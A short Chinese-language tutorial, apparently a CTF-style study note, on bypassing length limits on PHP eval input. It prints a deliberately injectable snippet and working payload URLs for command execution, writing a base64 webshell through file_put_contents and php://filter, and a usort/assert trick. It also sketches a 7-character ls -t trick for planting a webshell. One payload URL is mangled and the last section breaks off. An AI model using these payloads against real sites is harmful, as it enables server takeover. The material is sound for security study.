目录
突破15位限制
代码
绕过方式
第一种(使用echo执行)
第二种(使用file_get_content追加文件后进行问件包含)
第三种(使用usort可变长参数)
突破7位限制
第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)
突破15位限制
代码
首先输入eval,限制param不能超过17位然后,这个输入里面不能包含eval和assert
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
绕过方式
第一种(使用echo执行)
http://192.168.244.152:8080/web.php?param=echo%20`$_GET[1]`;&1=id
代码执行转换为命令执行
第二种(使用file_get_content追加文件后进行问件包含)
http://192.168.244.152:8080/web.php?1=file_put_contents¶m=$_GET[1](N,P,8);
往目录下写文件,然后将一串base64编码追加进去,为啥要用base64是因为一些特殊字符在file_get_content追加不了的
追加后的值,这个base64编码解码后的值是<?php eval($_POST[9]);
然后使用php伪协议将代码转成一个正常的字符,然后使用文件包含直接执行
http://192.168.244.152:8080/web.php?include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
第三种(使用usort可变长参数)
1[]=test&1[]=phpinfo();&2=assert
注意这里由于有些php版本将usort删掉了所以要使用5.6版本
突破7位限制
第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)
w 长度最短的命令
ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell
使用base64的原因就是有些特殊字符没有办法插入
最终文件